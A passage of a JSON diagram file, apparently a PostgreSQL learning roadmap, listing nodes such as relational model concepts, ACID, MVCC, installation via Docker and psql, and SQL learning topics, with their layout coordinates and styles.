49\n      },\n      \"positionAbsolute\": {\n        \"x\": 149.9095159810637,\n        \"y\": 66.6877168628364\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D0doJTtLu-1MmFOfavCXN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 149.9095159810637,\n        \"y\": 13.687716862836396\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PostgreSQL vs NoSQL Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 331,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 149.9095159810637,\n        \"y\": 13.687716862836396\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-M9EFgiDSSAzj9ISk-aeh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -229.24744704168165,\n        \"y\": 145.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic RDBMS Concepts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VjQ71xorBoxxDn-wSmUjm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -229.24744704168165,\n        \"y\": 145.84893300452904\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RoYP1tYw5dvhmkVTo1HS-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -503.58230823147517,\n        \"y\": 146.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Object Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_BSR2mo1lyXEFXbKYb1ZG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -503.58230823147517,\n        \"y\": 146.84893300452904\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xVocG4LuFdtphwoOxiJTa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.58230823147517,\n        \"y\": -118.15106699547096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -504.58230823147517,\n        \"y\": -118.15106699547096\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4Pw7udOMIsiaKr7w9CRxc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.58230823147517,\n        \"y\": -65.15106699547096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -504.58230823147517,\n        \"y\": -65.15106699547096\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Rd3RLpyLMGQZzrxQrxDGo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.58230823147517,\n        \"y\": -12.151066995470956\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rows\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -504.58230823147517,\n        \"y\": -12.151066995470956\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cty2IjgS1BWltbYmuxxuV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -398.58230823147517,\n        \"y\": -12.151066995470956\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Columns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -398.58230823147517,\n        \"y\": -12.151066995470956\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W8NhR4SqteMLfso8AD6H8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -504.58230823147517,\n        \"y\": 40.848933004529044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -504.58230823147517,\n        \"y\": 40.848933004529044\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mF6qAlo2ULJ3lECG2m0h7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -398.58230823147517,\n        \"y\": 40.848933004529044\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Schemas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -398.58230823147517,\n        \"y\": 40.848933004529044\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DU-D3-j9h6i9Nj5ci8hlX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.58230823147517,\n        \"y\": 93.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qk14b9WyeCp9RV9WAwojt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.58230823147517,\n        \"y\": 93.84893300452904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mDVbjdVN0spY7dI_8k1YW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -503.58230823147517,\n        \"y\": 230.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Relational Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_BSR2mo1lyXEFXbKYb1ZG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -503.58230823147517,\n        \"y\": 230.84893300452904\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-LuxJvI5IaOx6NqzK0d8S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.58230823147517,\n        \"y\": 284.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Domains\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 98,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.58230823147517,\n        \"y\": 284.84893300452904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XvZMSveMWqmAlXOxwWzdk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -402.58230823147517,\n        \"y\": 284.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Attributes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -402.58230823147517,\n        \"y\": 284.84893300452904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vJhvgGwNV3JB-wWn_0gMb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.58230823147517,\n        \"y\": 337.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tuples\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 98,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.58230823147517,\n        \"y\": 337.84893300452904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2hM2IPAnNYq-LlEbcFp2Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -402.58230823147517,\n        \"y\": 337.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Relations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -402.58230823147517,\n        \"y\": 337.84893300452904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j9ikSpCD3yM5pTRFuJjZs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.58230823147517,\n        \"y\": 390.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Constraints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.58230823147517,\n        \"y\": 390.84893300452904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"91eOGK8mtJulWRlhKyv0F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -387.58230823147517,\n        \"y\": 390.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NULL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -387.58230823147517,\n        \"y\": 390.84893300452904\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_BSR2mo1lyXEFXbKYb1ZG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 151.4095159810638,\n        \"y\": 148.1877168628364\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"High Level Database Concepts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 151.4095159810638,\n        \"y\": 148.1877168628364\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9u7DPbfybqmldisiePq0m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 151.4095159810638,\n        \"y\": 201.1877168628364\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ACID\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 151.4095159810638,\n        \"y\": 201.1877168628364\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-_ADJsTVGAgXq7_-8bdIO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 225.4095159810638,\n        \"y\": 201.1877168628364\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVCC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 225.4095159810638,\n        \"y\": 201.1877168628364\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yFG_hVD3dB_qK8yphrRY5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.4095159810638,\n        \"y\": 201.1877168628364\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 309.4095159810638,\n        \"y\": 201.1877168628364\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9sadNsbHLqejbRPHWhx-w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 151.4095159810638,\n        \"y\": 254.1877168628364\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Write-ahead Log\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qk14b9WyeCp9RV9WAwojt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 151.4095159810638,\n        \"y\": 254.1877168628364\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Qk14b9WyeCp9RV9WAwojt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 151.4095159810638,\n        \"y\": 307.1877168628364\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Query Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 151.4095159810638,\n        \"y\": 307.1877168628364\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5MjJIAcn5zABCK6JsFf4k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -501.08230823147517,\n        \"y\": 488.748933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using Docker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -501.08230823147517,\n        \"y\": 488.748933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pEtQy1nuW98YUwrbfs7Np\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -501.08230823147517,\n        \"y\": 541.748933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Package Managers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -501.08230823147517,\n        \"y\": 541.748933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mMf2Mq9atIKk37IMWuoJs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -501.08230823147517,\n        \"y\": 594.748933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Connect using `psql`\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -501.08230823147517,\n        \"y\": 594.748933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6SCcxpkpLmmRe0rS8WAPZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -501.08230823147517,\n        \"y\": 647.748933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deployment in Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -501.08230823147517,\n        \"y\": 647.748933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7OIljP-vhWasB78rZPEGQ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -251.58230823147517,\n        \"y\": 495.248933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Managing Postgres\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 208\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -251.58230823147517,\n        \"y\": 495.248933004529\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"P1Hm6ZlrhCRxbxOJkBHlL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -251.58230823147517,\n        \"y\": 533.748933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using `systemd`\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -251.58230823147517,\n        \"y\": 533.748933004529\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a4j0Rs8Tl6-k9WP5zjaep\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -251.58230823147517,\n        \"y\": 586.748933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using `pg_ctl`\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -251.58230823147517,\n        \"y\": 586.748933004529\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v3SoKmeCh6uxKW5GAAMje\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -251.58230823147517,\n        \"y\": 639.748933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Using `pg_ctlcluster`\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -251.58230823147517,\n        \"y\": 639.748933004529\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hftk9puFrq1P-LSVAupLm\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -498.58230823147517,\n        \"y\": 463.748933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 462,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -498.58230823147517,\n        \"y\": 463.748933004529\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 462,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 462,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"kV8RIgCJT60d8gTI13Oay\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -106.08230823147517,\n        \"y\": 413.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 60,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 60\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -106.08230823147517,\n        \"y\": 413.84893300452904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 60\n      }\n    },\n    {\n      \"id\": \"FtPiBWMFhjakyXsmSL_CI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -210.24744704168165,\n        \"y\": 386.84893300452904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Installation and Setup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VjQ71xorBoxxDn-wSmUjm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -210.24744704168165,\n        \"y\": 386.84893300452904\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ANUgfkADLI_du7iRvnUdi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 32.91383938967235,\n        \"y\": 564.2771723229985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VjQ71xorBoxxDn-wSmUjm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 32.91383938967235,\n        \"y\": 564.2771723229985\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h0v46Glkt60lHmdq5B5mY\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 220.238410041698,\n        \"y\": 421.77717232299847\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DDL Queries\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 36\n      },\n      \"positionAbsolute\": {\n        \"x\": 220.238410041698,\n        \"y\": 421.77717232299847\n      },\n      \"selectable\": 